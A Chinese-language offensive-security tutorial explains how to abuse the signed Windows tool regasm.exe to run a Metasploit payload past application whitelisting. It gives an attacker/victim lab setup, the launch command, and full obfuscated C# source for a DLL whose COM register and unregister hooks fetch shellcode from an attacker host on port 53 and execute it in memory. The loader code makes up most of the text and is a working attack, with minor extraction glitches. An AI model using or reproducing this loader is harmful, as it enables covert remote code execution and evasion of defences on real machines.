Regasm简介:

Regasm 为程序集注册工具,读取程序集中的元数据,并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NET Assembly Registration Utility相关联。

说明:Regasm.exe所在路径没有被系统添加PATH环境变量中,因此,REGASM命令无法识别。

具体参考微软官方文档:
https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool

基于白名单Regasm.exe配置payload:

Windows 7 默认位置:

  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

攻击机:192.168.1.4 Debian
靶机:192.168.1.3 Windows 7

配置攻击机msf:

第七十三课:基于白名单Regasm.exe执行payload第三季 - 图1

靶机执行:

  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Micropoor.dll

第七十三课:基于白名单Regasm.exe执行payload第三季 - 图2

附录:Micropoor.cs

注:x86 payload

  1. using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;
  2. namespace HYlDKsYF
  3. {
  4. public class kxKhdVzWQXolmmF : ServicedComponent {
  5. public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); }
  6. [ComRegisterFunction]
  7. public static void RegisterClass ( string pNNHrTZzW )
  8. {
  9. ZApOAKJKY.QYJOTklTwn();
  10. }
  11. [ComUnregisterFunction]
  12. public static void UnRegisterClass ( string pNNHrTZzW )
  13. {
  14. ZApOAKJKY.QYJOTklTwn();
  15. }
  16. }
  17. public class ZApOAKJKY
  18. { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
  19. [DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
  20. [DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
  21. [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF, UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
  22. [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy, int iJGvqiEDGLhjr) {
  23. IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy), iJGvqiEDGLhjr);
  24. Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  25. try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
  26. catch { return null;}
  27. byte[] Bjpvhc = new byte[4];
  28. MXCEuiuRIWgOYze.Receive(Bjpvhc, 4, 0);
  29. int IETFBI = BitConverter.ToInt32(Bjpvhc, 0);
  30. byte[] ZKSAAFwxgSDnTW = new byte[IETFBI + 5];
  31. int JFPJLlk = 0;
  32. while (JFPJLlk < IETFBI)
  33. { JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk + 5, (IETFBI JFPJLlk) < 4096 ? (IETFBI JFPJLlk) : 4096, 0);}
  34. byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle);
  35. Array.Copy(nXRztzNVwPavq, 0, ZKSAAFwxgSDnTW, 1, 4); ZKSAAFwxgSDnTW[0] = 0xBF;
  36. return ZKSAAFwxgSDnTW;}
  37. static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
  38. if (KNCtlJWAmlqJ != null) {
  39. UInt32 uuKxFZFwog = HeapCreate(0x00040000, (UInt32)KNCtlJWAmlqJ.Lengt h, 0);
  40. UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog, 0x00000008, (UInt32)KNCtlJWAmlqJ.Length);
  41. RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ, (UInt32)KNCtlJWAmlqJ.Length);
  42. UInt32 ijifOEfllRl = 0;
  43. IntPtr ihXuoEirmz = CreateThread(0, 0, sDPjIMhJIOAlwn, IntPtr.Zero, 0, ref ijifOEfllRl);
  44. WaitForSingleObject(ihXuoEirmz, 0xFFFFFFFF);}}
  45. public static void QYJOTklTwn() {
  46. byte[] ZKSAAFwxgSDnTW = null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.168.1.4", 53);
  47. TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
  48. } } }

Micropoor